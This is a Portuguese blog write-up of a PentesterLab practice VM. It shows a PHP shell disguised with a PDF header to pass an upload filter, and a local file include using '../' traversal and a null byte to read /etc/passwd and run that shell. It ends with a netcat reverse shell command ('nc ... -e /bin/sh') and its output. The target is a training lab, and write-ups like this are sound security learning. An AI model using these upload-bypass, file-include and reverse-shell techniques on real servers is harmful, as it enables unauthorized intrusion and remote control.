[ Inicio ] [ Hacking ] [ CTFs ] [ Rant ]
.:: Brenn0 Weblog ::.

Título : PHP Include And Post Exploitation [PentesterLab]
Autor : brennords
Data : 17/12/2017
            

Além de CTFs online, há CTFs que podem ser jogados off-line. Eles são, normalmente, máquinas virtuais criadas com vulnerabilidades especificas e prontas para serem ownadas.

Existem uns sites em que a galera posta essas máquinas para download. Um dos que conheço é o https://pentesterlab.com/. Eles oferecem umas isos como forma de exercicio para o curso que vendem. Algumas delas são só para os assinantes do curso mas outras são liberadas para todos. E foi uma dessas gratuitas que baixei e resolvi ver o que conseguiria.

Já que sou noob, peguei uma das menos dificeis: a PHP Include and Post Exploitation. A descrição dela é a seguinte:

This exercise describes the exploitation of a local file include with limited access. Once code execution is gained, you will see some post exploitation tricks.

Numa tradução livre seria: “Este exercicio descreve a exploração de um local file include com acesso limitado. Assim que execução de código for obtida, veremos alguns truques de pós exploração.

Usei o Virtual Box para dar boot na ISO de 171 Mb que você poderia baixar aqui e tentar algo antes de ler a solução que encontrei.

Depois do completo processo de boot, mandei um ifconfig no terminal da vm para descobrir qual o endereço ip que ela havia pego para si dentro da minha rede local.

ip

Pode-se observar que a placa de rede eth0 pegou o ip 192.168.0.33.

Obs: a configuração da rede na máquina virtual fica longe do escopo do write-up. Caso você esteja tendo problemas com isso, considere como a primeira parte do desafio ;)

Pelo nome e a descrição dada ao desafio, é de se supor com um bocado de segurança que há um servidor web usando php. Mas, para simular algo menos longe da realidade, que tal fingir que não se sabe porra nenhuma?

Neste caso, costumo começar usando o nmap para encontrar as portas abertas e os possíveis serviços oferecidos:

O resultado mostra que esse ip tem a porta 80 aberta e está rodando o Apache 2.2.16.

Mesmo que essa versão do apache não seja uma das mais recentes, não há vulnerabilidades a serem exploradas para nosso fim. Hora de ver que tipo de serviço web que o Apache está rodando.

php_pentesterlab1

É um site de uma conferência sobre segurança web. No canto superior direito há links para submeter um paper e fazer login.

Primeiro, fui analisar a página de submissão.

php_pentestlabs2

Há um botão para o envio de um arquivo PDF da minha apresentação. Parecia ser uma boa oportunidade para tentar fazer o upload de uma shell em php. Mas após preencher os dados e tentar enviar o arquivo, recebi essa mensagem:

php3

Há alguma forma de filtragem para o tipo de arquivo enviado.

Após algumas tentativas falhas, como, por exemplo, tentar renomear o meu php como shell.php.pdf, imaginei que o script php checava o header do arquivo para verificar se era ou não um PDF. Aí usei um editor hexadecimal para adicionar ao meu arquivo php o header que um PDF válido teria. Esse valor é representado por: “2550 4446 2d31 2e33 0a25 c4e5 f2e5 eba7” que nada mais é que “%PDF-1.3.%……”

php4

Para mais informações sobre o formato PDF veja este link.

Agora a shell php vai parecer ser um arquivo PDF porque, além da extensão, seu cabeçalho diz isso.

Preenchi as informações e enviei o arquivo shell.php.pdf no form. Dessa vez, ao invés de receber a mensagem de que só PDFs seriam aceitos, fui enviado a página inicial. Para confirmar que o upload rolou, fui na página de login e preenchi o email e senha que usei no form de submit paper.

php6

O problema é: o servidor não vai executar um arquivo com extensão pdf como se fosse um php. Ou seja, essa porra ainda não deu em nada.

Mas, até antes de conseguir fazer o upload da shell, reparei no formato da url do serviço: http://192.168.0.33/index.php?page=submit. Que tal mudar o argumento de page  e ver o que acontece?

php7

Profit! Temos uma potencial falha de local file include que ocorre quando o script php tenta inserir na página algum arquivo mas não faz nenhuma verificação dessa entrada. Dessa forma é possível “incluir” qualquer arquivo do servidor para exibição.

Logo que percebi a falha, saquei que podia usar “../”, que representa o diretorio anterior, para sair da pasta do webserver e acessar a raiz do servidor. Esse tipo de ataque é conhecido como “Directory Transversal”. Tentei exibir o /etc/passwd como proof of concept.

php8

Mas o script automaticamente insere um “.php” no final da entrada, o que faz sentido já que provavelmente espera encontrar uma página php para execução. É um problema que pode ser solucionado ao inserir um %00 (null byte) no final da URL, que funcionará como um “sinalizador” de que a string acabou, fazendo com que o script ignore o .php que será inserido.

php9

Agora a próxima sacada dependeria do quanto de conhecimento e prática se tem. Ao ver essa falha, pensei logo em usa-la para executar a shell que enviei como pdf já que, mesmo com a extensão pdf, ao incluir meu arquivo malicioso, o código php do mesmo seria executado. E, graças a informação exposta ao se fazer login, que exibe o caminho do arquivo que mandei, sei exatamente que endereço incluir como argumento para page: http://192.168.0.36/index.php?page=uploads/shell.php.pdf%00

php9

Executado com sucesso! Então fiz login com a shell, que é um pouco limitada mas que dá para o gasto, e tratei de abrir uma conexão reversa com o netcat para meu computador.

Primeiro, coloquei o netcat para ficar na escuta (-l), em modo detalhado (-v), usando a porta (-p) 31337.

root@budweiser:~/Desktop# nc -lvp 31337

Depois, fui na simplória shell php e executei o seguinte comando:

nc 192.168.0.29 31337 -e /bin/sh

Isso fez com que o servidor se conectasse ao meu ip na porta que escolhi para meu netcat e, com a opção -e mando o nc executar /bin/sh após a conexão. Assim, com a conexão feita, os comandos que envio são executados por /bin/sh e o resultado me é enviado.

root@budweiser:~/Desktop# nc -lvp 31337 Listening on [0.0.0.0] (family 0, port 31337) Connection from [192.168.0.37] port 31337 [tcp/*] accepted (family 2, sport 36672) whoami www-data uname -a Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux

E por hoje o negócio foi esse aí. Você pode ver a solução oficial no site do Pentester Lab.